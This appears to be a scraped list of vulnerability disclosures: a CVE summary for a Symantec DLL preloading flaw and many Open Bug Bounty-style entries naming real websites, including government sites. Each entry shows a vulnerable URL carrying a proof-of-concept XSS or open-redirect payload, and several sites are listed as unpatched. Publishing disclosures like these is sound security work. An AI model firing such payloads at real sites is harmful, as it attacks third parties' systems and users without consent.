CVE-2017-6329: Uncontrolled Search Path Element

Symantec VIP Access for Desktop prior to 2.2.4 can be susceptible to a DLL Pre-Loading vulnerability. These types of issues occur when an application looks to call a DLL for execution and an attacker provides a malicious DLL to use instead. Depending on how the application is configured, the...

iceporn.com XSS vulnerability

Vulnerable URL: http://www.iceporn.com/1/?xss"posed=1 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2919 VIP website status:| Yes Check iceporn.com SSL connection:| Grade: A- Coordinated Disclosure Timeline:...

brasilescola.uol.com.br XSS vulnerability

Vulnerable URL: http://brasilescola.uol.com.br/ingles/articles.htmINFOSEC.COM.BRa%22%3E%3CsvG%20onLoad=prompt'openbugbounty'%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4367...

toplogs.com Open Redirect vulnerability

Vulnerable URL: http://www.toplogs.com/redirect.php?url=http%3A%2F%2Fopenbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.11.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 4159175 VIP website status:| No Chec...

camera.it XSS vulnerability

Vulnerable URL: http://www.camera.it/leg17/824?tipo=C=2014=11=13==25%3Cscript%3Ealert1;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 39986 VIP website status:| Yes Check camera.it SSL connection:|...

viewpoint.ca Open Redirect vulnerability

Vulnerable URL: http://www.viewpoint.ca/redir?url=https://openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 108844 VIP website status:| No Check viewpoint.ca SSL connection:| Grade: F...

thirstygolfer.com XSS vulnerability

Vulnerable URL: http://www.thirstygolfer.com/Survey/Rating.php?id="';-- Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 9347843 VIP website status:| No Check thirstygolfer.com SSL...

lollypopsonline.com XSS vulnerability

Vulnerable URL: http://lollypopsonline.com/t/01/?nats=t" onmouseover=alert'OPENBUGBOUNTY' a" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3628983 VIP website status:| No Check...

denbraven.pl XSS vulnerability

Vulnerable URL: https://denbraven.pl/newsletter.php Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 19.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1732438 VIP website status:| No Check denbraven.pl SSL...

supplyhouse.com XSS vulnerability

Vulnerable URL: http://www.supplyhouse.com/sh/control/search/SEARCHSTRING=/%22--!%3E%3CSvg/OnLoad=confirm/OPENBUGBOUNTY/%3E%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 47521 VIP website status:| Yes...

tophotels.ru XSS vulnerability

Vulnerable URL: http://www.tophotels.ru///hotels/?xss"posed=1 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4827 VIP website status:| Yes Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerabilit...

bostonpublicschools.org XSS vulnerability

Vulnerable URL: http://www.bostonpublicschools.org/cms/UserControls/ModuleView/ModuleViewRendererWrapper.aspx?DomainID=4=0=12561=0=DisplayDate"%20onmouseover%3Dprompt/OPENBUGBOUNTY/%20bad%3D"=8=2017=14=1=738=0==6446EE88-D30C-497E-9316-3F8874B3E108&=1503127149547 Details: Description| Value ---|--...

tutpad.com XSS vulnerability

Vulnerable URL: https://www.tutpad.com/explore?q=%3C/title%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 46096 VIP website status:| Yes Check tutpad.com SSL...

significados.com.br XSS vulnerability

Vulnerable URL: https://www.significados.com.br///?s=';";;---- OmniGooch --;' Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5760 VIP website status:| Yes Check significados.com.br SSL connection:| Grade: A+...

docvadis.fr XSS vulnerability

Vulnerable URL: https://www.docvadis.fr/oncologie-baclesse/results/?q=%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 154828 VIP...

ets-lahouratate.com XSS vulnerability

Vulnerable URL: http://www.ets-lahouratate.com/boutique/liste.php?cat=39%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...

penguinmagic.com XSS vulnerability

Vulnerable URL: http://www.penguinmagic.com/s/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 26431 VIP website status:| Yes Check penguinmagic.com SSL connection:| Grade: A Coordinated Disclosure Timeline:...

samifin.gov.mg XSS vulnerability

Vulnerable URL: http://www.samifin.gov.mg/sites/all/libraries/shadowbox-3.0.3/player.swf?tracecall=prompt%27openbugbounty%27 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 19.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

wbard.gov.in XSS vulnerability

Vulnerable URL: http://www.wbard.gov.in/jwplr/player.swf?tracecall=prompt%27openbugbounty%27 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 19.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2140821 VIP websit...

cidasc.sc.gov.br XSS vulnerability

Vulnerable URL: http://www.cidasc.sc.gov.br/wp-content/uploads/shadowbox-js/src/player.swf?tracecall=prompt%27openbugbounty%27 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 19.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...